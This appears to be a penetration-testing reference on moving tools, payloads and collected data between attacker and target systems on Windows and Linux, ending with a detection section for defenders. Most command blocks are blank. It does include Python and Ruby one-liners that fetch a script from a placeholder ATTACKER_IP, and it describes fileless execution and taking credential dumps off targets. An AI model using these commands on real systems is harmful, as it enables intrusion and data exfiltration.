File Transfers
Executive Summary
File transfers are a core operational skill during security assessments. They allow testers to move tools, payloads, scripts, logs, and collected evidence between attacker-controlled systems and target systems.
The best transfer method depends on the operating system, available tools, firewall rules, endpoint defenses, and whether the goal is to download, upload, or move data through a restricted environment.
Common Transfer Scenarios
| Scenario | Description |
|---|---|
| Download to target | Moving tools or payloads from the attacker machine to the target |
| Upload from target | Moving collected data or evidence from the target back to the attacker machine |
| Internal transfer | Moving files between compromised systems inside a network |
| Fileless transfer | Loading code directly into memory without writing a file to disk |
| Protected transfer | Encrypting sensitive files before moving them over an insecure channel |
Windows File Transfers
Windows environments often provide several built-in transfer options.
Common methods include:
- PowerShell web downloads
certutil- BITS transfers
- SMB shares
- FTP
- WinRM copy operations
- RDP drive mounting
- Base64 copy and paste
- JavaScript or VBScript downloaders
PowerShell Downloads
PowerShell can download files over HTTP or HTTPS.
Older PowerShell environments may require:
PowerShell can also execute downloaded content directly in memory:
This is useful operationally, but it is also heavily monitored by defenders.
SMB Transfers
SMB is useful inside Windows-heavy environments.
On the attacker machine:
From the Windows target:
If authentication is required:
FTP Transfers
FTP can be useful when simple HTTP or SMB transfer is not available.
Start an FTP server on the attacker machine:
Download from Windows with PowerShell:
Linux File Transfers
Linux systems usually provide flexible native transfer options.
Common methods include:
wgetcurl- Python HTTP servers
- SCP
- Netcat
- Ncat
- Socat
- Bash
/dev/tcp - Base64 copy and paste
HTTP Downloads
Start a simple web server on the attacker machine:
Download with wget:
Download with curl:
Fileless Linux Execution
Linux can pipe downloaded content directly into an interpreter.
This avoids writing the script to disk, but it may still be visible in process, shell, and network logs.
SCP Transfers
SCP is useful when SSH is available.
Download from attacker machine to target:
Upload from target to attacker machine:
Netcat Transfers
Netcat can move files through raw TCP connections.
Receiver:
Sender:
With Ncat:
Base64 Transfers
Base64 transfer is useful when direct file transfer is blocked but terminal access is available.
Encode on Linux:
Decode on Linux:
Decode on Windows with PowerShell:
Always verify integrity after transfer:
Code-Based Transfers
When common tools are unavailable, installed interpreters can sometimes download files.
Python 3:
python3 -c 'import urllib.request; urllib.request.urlretrieve("http://ATTACKER_IP/file.sh", "file.sh")'
PHP:
Ruby:
ruby -e 'require "net/http"; File.write("file.sh", Net::HTTP.get(URI.parse("http://ATTACKER_IP/file.sh")))'
Perl:
Protected File Transfers
Sensitive files should not be transferred in plaintext when avoidable.
Examples of sensitive files include:
- Credential dumps
- Password hashes
- Internal enumeration results
- Client data
- Configuration files
- Database exports
- Forensic evidence
Encrypt files before transferring them over untrusted channels.
Linux encryption with OpenSSL:
Decrypt:
Catching Uploads with HTTP
A Python upload server can receive files over HTTP.
Upload from Linux:
For more controlled operations, Nginx can be configured to accept HTTP PUT uploads into a specific directory.
Operational Considerations
Before transferring files, check:
- Is the directory writable?
- Is the file likely to trigger antivirus or EDR?
- Is the transfer method logged?
- Does the target have outbound internet access?
- Are SMB, FTP, SSH, or HTTP blocked?
- Is the file sensitive enough to require encryption?
- Can the task be done with built-in tools?
- Will the transfer create suspicious network traffic?
Defensive Perspective
File transfers can be detected through:
- Command-line logging
- PowerShell logging
- Proxy logs
- DNS logs
- Firewall logs
- EDR file creation events
- Suspicious User-Agent strings
- Unusual outbound connections
- Living-off-the-land binary abuse
Defenders should pay close attention to command-line tools downloading executable content, scripts reaching out to direct IP addresses, and unusual file movement from sensitive systems.